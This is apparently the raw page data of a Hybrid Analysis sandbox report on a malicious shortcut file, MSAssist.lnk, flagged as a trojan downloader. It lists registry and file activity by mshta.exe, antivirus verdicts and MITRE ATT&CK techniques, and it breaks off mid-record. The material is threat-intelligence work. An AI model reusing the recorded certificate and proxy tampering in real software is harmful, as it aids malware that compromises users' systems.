Bitly

24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TrojanDownloader/LNK.Agent Sample b7533ae30577… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b7533ae30577…. Malware family: TrojanDownloader/LNK.Agent. Threat score 100/100. 7/35 AV engines flagged this file. 2 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507","keywords":["Malicious","TrojanDownloader/LNK.Agent","malware analysis","sandbox report","threat intelligence","b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507"],"about":{"@type":"SoftwareApplication","name":"MSAssist.lnk","applicationCategory":["lnk"],"identifier":"b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TrojanDownloader/LNK.Agent","antivirusDetections":{"malicious":7,"total":35},"behavioralIndicators":{"malicious":2,"suspicious":4},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T402,"mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK")26:T789,"mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")27:T444,"mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")28:T4df,"mshta.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "mshta.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\TREATAS") "mshta.exe" touched "Network List Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "mshta.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "mshta.exe" touched "Microsoft HTA Document 6.0" (Path: "HKCU\CLSID\{3050F5C8-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "mshta.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "mshta.exe" touched "Browser Application State" (Path: "HKCU\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\TREATAS") "mshta.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\PROGID") "mshta.exe" touched "PSOAInterface" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "mshta.exe" touched "NetworkListManager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS")29:Ta75,"mshta.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 1237504) "mshta.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 4246418944) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 5; Subtree: 60605953) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 1025) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 5; Subtree: 60606209) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 60573697) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 60606209) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 5; Subtree: 60606209) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 5; Subtree: 1025) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 5; Subtree: 60606209) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 5; Subtree: 60606209) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 5; Subtree: 60570881)2a:T47c,"mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\S8TE6E8J.txt" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0CH0OVJV\35FlWc2[1].htm" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "mshta.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "mshta.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies\S8TE6E8J.txt" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\0CH0OVJV\35FlWc2[1].htm" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat"2b:T455,"mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll.DLL" "mshta.exe" trying to access non-existent file "C:\WINDOWS\system32\mshta.exe.Local\" "mshta.exe" trying to access non-existent file "C:\WINDOWS\system32\DXGIDebug.dll" "mshta.exe" trying to access non-existent file "C:\Windows\system32\DXGIDebug.dll" "mshta.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL.DLL"2c:T8a1,"mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790888903359,"unified_at":"2026-10-01T21:08:23.359Z","metadata":{"hashes":{"sha256":"b7533ae3057764c8734ebdea13e766eaa92ad38f7ab41bb267b9b44a550e1507","sha1":"e8b0785e58fd864c16fe4a58ee734d0fc93702e5","md5":"483e3e0b1dceb4a5a13de65d3556c3fe","sha512":"a046eea9fb46b78f5cd49cd3505be1951ea6f088568dc70fce662f47d2d2a21d18871995f04803267ee20535b67476d3b40b4f3f10dbbb41f978440f195746f9","ssdeep":"12:8AlX6m/VnEXzzeMDGR22efeDJLgc4iN37+lbYqlTRUAN1r8:8Abtn46pefe5g6rab/nUAN","ssdeep_chunks":["12:8AlX6m/","12:AlX6m/V","12:lX6m/Vn","12:X6m/VnE","12:6m/VnEX","12:m/VnEXz","12:/VnEXzz","12:VnEXzze","12:nEXzzeM","12:EXzzeMD","12:XzzeMDG","12:zzeMDGR","12:zeMDGR2","12:eMDGR22","12:MDGR22e","12:DGR22ef","12:GR22efe","12:R22efeD","12:22efeDJ","12:2efeDJL","12:efeDJLg","12:feDJLgc","12:eDJLgc4","12:DJLgc4i","12:JLgc4iN","12:Lgc4iN3","12:gc4iN37","12:c4iN37+","12:4iN37+l","12:iN37+lb","12:N37+lbY","12:37+lbYq","12:7+lbYql","12:+lbYqlT","12:lbYqlTR","12:bYqlTRU","12:YqlTRUA","12:qlTRUAN","12:lTRUAN1","12:TRUAN1r","12:RUAN1r8","24:8AlX6m/","24:AlX6m/V","24:lX6m/Vn","24:X6m/VnE","24:6m/VnEX","24:m/VnEXz","24:/VnEXzz","24:VnEXzze","24:nEXzzeM","24:EXzzeMD","24:XzzeMDG","24:zzeMDGR","24:zeMDGR2","24:eMDGR22","24:MDGR22e","24:DGR22ef","24:GR22efe","24:R22efeD","24:22efeDJ","24:2efeDJL","24:efeDJLg","24:feDJLgc","24:eDJLgc4","24:DJLgc4i","24:JLgc4iN","24:Lgc4iN3","24:gc4iN37","24:c4iN37+","24:4iN37+l","24:iN37+lb","24:N37+lbY","24:37+lbYq","24:7+lbYql","24:+lbYqlT","24:lbYqlTR","24:bYqlTRU","24:YqlTRUA","24:qlTRUAN","24:lTRUAN1","24:TRUAN1r","24:RUAN1r8","12:8Abtn46","12:Abtn46p","12:btn46pe","12:tn46pef","12:n46pefe","12:46pefe5","12:6pefe5g","12:pefe5g6","12:efe5g6r","12:fe5g6ra","12:e5g6rab","12:5g6rab/","12:g6rab/n","12:6rab/nU","12:rab/nUA","12:ab/nUAN"],"imphash":"Unknown"},"file_info":{"file_name":"MSAssist.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":720,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1674849224000,"last_seen":1674849224000,"last_multi_scan":1674849224000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banking","criminal","cryptocurrencytheft","culebra","geniespider","rat","stardustchollima","targeted","targetedcrimeware","velvetchollima","backdoor","keylogger"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":35},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":17},"sandbox_signatures":{"informative_count":49,"suspicious_count":4,"malicious_count":2,"total":55},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"adaware":{"name":"Adaware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Casdet","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"LNK/Downldr.ER","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/LNK.Agent.at","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.LNK.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"BlueNoroff!lnk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"LNK.Trojan.37758","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"systweak":{"name":"Systweak","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.47366BAC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TrojanDownloader/LNK.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"63d42bc833a2986425431787"}]},{"tactic":"Credential Access","technique":"Credential API 